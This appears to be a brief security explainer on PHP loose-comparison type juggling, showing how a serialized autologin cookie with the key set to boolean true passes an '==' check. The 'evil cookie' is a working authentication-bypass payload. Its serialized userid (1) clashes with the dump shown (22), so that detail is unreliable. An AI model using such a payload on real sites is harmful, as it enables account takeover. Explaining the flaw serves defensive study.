Attack Alert :: Syntax

Attack Alert :: Syntax

  1. if (0 == 'gumby')  // This is true
  2. if (5 == '5gumby') // This is true
  3. if (TRUE == 'something') // This is true
Good cookie:
  1. a:2:{s:11:"autologinid";s:32:"7f983e...23c";s:6:"userid";i:22;}
  2. array(2) {
  3.   ["autologinid"]=>  string(32) "7f983e...23c"
  4.   ["userid"]=>  int(22)
  5. }
Code:
  1. if( $sessiondata['autologinid'] == $auto_login_key )
Evil cookie:
  1. a:2:{s:11:"autologinid";b:1;s:6:"userid";i:1;}
  2. array(2) {
  3.   ["autologinid"]=>  bool(true)
  4.   ["userid"]=>  int(22)
  5. }